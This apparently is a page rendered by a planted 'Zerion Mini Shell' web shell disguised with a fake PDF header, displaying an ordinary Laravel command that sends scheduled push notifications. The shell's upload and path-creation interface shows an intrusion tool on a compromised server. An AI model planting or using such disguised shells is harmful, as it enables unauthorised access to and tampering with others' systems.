%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/diaspora/api/app/Console/Commands/
Upload File :
Create Path :
Current File : /var/www/html/diaspora/api/app/Console/Commands/SendNotifications.php

<?php

namespace App\Console\Commands;

use App\Models\PushQueue;
use App\Notifications\NotifyUsersForNewPostCreatedNotification;
use Carbon\Carbon;
use Illuminate\Console\Command;

class SendNotifications extends Command
{
    /**
     * The name and signature of the console command.
     *
     * @var string
     */
    protected $signature = 'command:sendNotifications';

    /**
     * The console command description.
     *
     * @var string
     */
    protected $description = 'Send scheduled notifications';

    /**
     * Create a new command instance.
     *
     * @return void
     */
    public function __construct()
    {
        parent::__construct();
    }

    /**
     * Execute the console command.
     *
     * @return mixed
     */
    public function handle()
    {
        $start = Carbon::now()
                       ->subMinutes(5);
        $end = Carbon::now()
                     ->addMinutes(5);
        $data = PushQueue::query()
                         ->where('send_at', '>', $start)
                         ->where('send_at', '<', $end)
                         ->get();
        \Log::debug(Carbon::now()
                          ->toIso8601String());
        /** @var PushQueue $item */
        foreach ($data as $item) {
            $item->post->createNotification($item->device);
            if ($item->device->user) {
                $item->device->notify(new NotifyUsersForNewPostCreatedNotification($item->post, $item->device->user->getBadge()));
            }
        }
    }
}

Zerion Mini Shell 1.0